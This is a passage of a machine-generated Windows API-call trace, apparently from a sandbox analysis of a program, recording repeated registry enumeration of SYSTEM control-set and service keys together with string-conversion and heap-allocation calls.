cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.481] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x1de4450, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0249.481] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.481] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.481] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x1de4408, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="RNG") returned 0x0 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Select") returned 0x0 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x1de4408, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.482] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Setup") returned 0x0 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x1de4450, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0249.482] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.482] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Software") returned 0x0 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x7, lpName=0x1dd29e0, cchName=0x104 | out: lpName="WPA") returned 0x0 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x1de4450, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.483] RegEnumKeyW (in: hKey=0x154, dwIndex=0x8, lpName=0x1dd29e0, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.483] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x1de4408, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0249.483] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.483] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.483] RegOpenKeyExW (in: hKey=0x154, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0xc8) returned 0x0 [0249.483] RegCloseKey (hKey=0x154) returned 0x0 [0249.484] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Control") returned 0x0 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x1de4450, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.484] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Enum") returned 0x0 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x1de4408, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.484] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x1de4450, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.484] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName="Policies") returned 0x0 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.484] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x1de4408, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0249.484] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.484] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.485] RegEnumKeyW (in: hKey=0xc8, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName="services") returned 0x0 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x1de4450, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.485] RegOpenKeyExW (in: hKey=0xc8, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb68 | out: phkResult=0x18fb68*=0x154) returned 0x0 [0249.485] RegCloseKey (hKey=0xc8) returned 0x0 [0249.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x0, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x1, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x1de4450, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0249.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.485] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x1de4408, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x3, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x1de4450, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x4, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x1de4408, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x5, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x1de4450, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0249.486] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.486] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4450) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de4408) returned 1 [0249.487] RtlFreeHeap (HeapHandle=0x580000, Flags=0x0, BaseAddress=0x1de5e18) returned 1 [0249.487] RegEnumKeyW (in: hKey=0x154, dwIndex=0x6, lpName=0x1dd29e0, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x1de5e18 [0249.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4408 [0249.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x1de4408, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0249.487] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x40) returned 0x1de4450 [0249.487] RtlFreeHeap (HeapHandle=0x580000, 